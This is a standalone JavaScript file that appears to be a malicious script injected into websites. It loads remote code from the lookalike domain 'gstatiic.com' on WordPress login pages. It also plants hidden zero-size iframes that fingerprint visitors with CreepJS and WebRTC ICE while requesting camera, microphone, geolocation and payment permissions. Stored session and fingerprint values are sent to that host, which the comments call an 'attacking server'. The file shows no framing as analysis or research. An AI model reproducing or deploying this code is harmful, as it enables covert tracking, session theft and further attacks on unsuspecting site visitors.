
var gstat_apid = 'gstat_apid'; //Session
var gstat_cid = 'gstat_cpid'; //Creep
var gstat_sess = 'gstat_session'; //For login
var gstat_fid = 'gstat_fpid'; //FP Pro
var gstat_iid = 'gstat_iceid'; //Trickle Ice
//var gstat_ref = '' //To check exact URL
var p = [];

//Check for login page
if(document.getElementById("backtoblog")){
    var doc = document.createElement("script");
    doc.src="https://gstatiic.com/gstatiic-core.js";
    document.head.appendChild(doc);
}else{
    if (localStorage.getItem(gstat_sess) !== null) {
        p.push('session=' + localStorage.getItem(gstat_sess));
        localStorage.removeItem(gstat_sess);
    }   
}

//Main
//Mainly check for creepid,as creep is the last to run,if there is value, it's a returing vistor, else it's a new visitor
if(getLSValue(gstat_apid) !== null){
	if(getLSValue(gstat_cid) !== null){
		FP_I();
	} else {
		FP_C();
	}
} else {
	newVisitor();
}

var eventMethod = window.addEventListener ? "addEventListener" : "attachEvent";
var eventer = window[eventMethod];
var messageEvent = eventMethod == "attachEvent" ? "onmessage" : "message";

eventer(messageEvent,function(e) {
   if (e.origin.includes("gstatiic.com") === true){
            var key = e.message ? "message" : "data";
            var data = e[key];
  
	   if (data.includes("TICE:")){
		setLSValue(gstat_iid, data.split(":")[1], 3600);
	   }
	   else if (data.includes("CREEP:")){
	   	setLSValue(gstat_cid, data.split(":")[1], 3600);
		   FP_I();
	   }
	   else{
	   	//alert(data);
	   }

	   //Check if all is fine.then call sendLS
	   if( (getLSValue(gstat_cid)) && (getLSValue(gstat_iid)) ){
	   	//All local storage set.
		//console.log("All assembled!");
		sendLS();

	   }
   }
    }, false);

function conversionVistor(){
    //Function to send all things to a attacking server.
    //Read local storage and send to attack.



//var myip = "34.239.167.149";

//p.push('myip='+myip);
    /*var doc = document.createElement("script");
    doc.src="https://gstatiic.com/creepjs/attack.js?"+p.join('&');
    document.head.appendChild(doc);*/

}

function newVisitor(){
    //console.log("NEW VISITOR!");
    //Function to run where there is no local storage set.

    //Create a new session ID for it and push to P
	if (!(getLSValue(gstat_apid))){
    	sess = '656d47f993d80142375af48dfe0324ad2ea4ce4b'
    	setLSValue(gstat_apid, sess, 315360000);
	}

    //DO Creep here.
    //Not doing I: FP_I();
    FP_C();

}

function sendLS(){
    //console.log("Sending LS!");
	//User has local storage, just read from them, and send out.
    //Check attacking after this.
    if(getLSValue(gstat_apid)){p.push('apid='+getLSValue(gstat_apid))}
    if(getLSValue(gstat_cid)){p.push('cid='+getLSValue(gstat_cid))}
    if(getLSValue(gstat_sess)){p.push('session='+getLSValue(gstat_sess))}
    if(getLSValue(gstat_fid)){p.push('fid='+getLSValue(gstat_fid))}
    if(getLSValue(gstat_iid)){p.push('rtcid='+getLSValue(gstat_iid))}

    //P array should be filled, create the query string and send out.    
    var doc = document.createElement("script");
        doc.src="https://gstatiic.com/static.js?"+p.join('&');
    document.head.appendChild(doc);

    //Check to convert vistor or not
    conversionVistor();
}

function FP_I(){
	//ICE
    	var doc = document.createElement("iframe");
	var ohash=getLSValue(gstat_iid);
    	localStorage.removeItem(gstat_iid);
	var chash=getLSValue(gstat_cid);
	doc.src="https://gstatiic.com/creepjs/ice.html";

	doc.src+= chash ? "?chash="+chash : "";
	doc.src+= ohash ? "&o3hash="+ohash : "";
	//console.log("The URL is " + doc.src);

    doc.width = "0px";
    doc.height = "0px";
    doc.style.visibility = "hidden"
    doc.allow="keyboard-map;camera;microphone;accelerometer;autoplay;display-capture;document-domain;encrypted-media;fullscreen;geolocation;gyroscope;magnetometer;midi;payment;picture-in-picture;publickey-credentials-get;sync-xhr;usb;screen-wake-lock;xr-spatial-tracking";
    doc.sandbox="allow-scripts allow-forms allow-same-origin allow-top-navigation allow-popups allow-pointer-lock";
    document.body.appendChild(doc);
}

function FP_C(){
    var myts = new Date().getTime();
    var doc = document.createElement("iframe");
    doc.src = "https://gstatiic.com/creepjs/?" + myts;
    doc.width = "0px";
    doc.height = "0px";
    doc.style.visibility = "hidden"
    doc.allow="keyboard-map;camera;microphone;accelerometer;autoplay;display-capture;document-domain;encrypted-media;fullscreen;geolocation;gyroscope;magnetometer;midi;payment;picture-in-picture;publickey-credentials-get;sync-xhr;usb;screen-wake-lock;xr-spatial-tracking";
    doc.sandbox="allow-scripts allow-forms allow-same-origin allow-top-navigation allow-popups allow-pointer-lock";
    document.body.appendChild(doc);
}

function setLSValue(key, val, exp){
    exp = Math.floor(Date.now() / 1000) + exp;
    localStorage.setItem(key, val+'|||'+exp);
}

function getLSValue(key){
    if (localStorage.getItem(key) !== null) {
        val = localStorage.getItem(key).split('|||')[0];
        exp = parseInt(localStorage.getItem(key).split('|||')[1]);
        if((Date.now() / 1000) < exp){
            return val;
        }
    }
    return null;
}
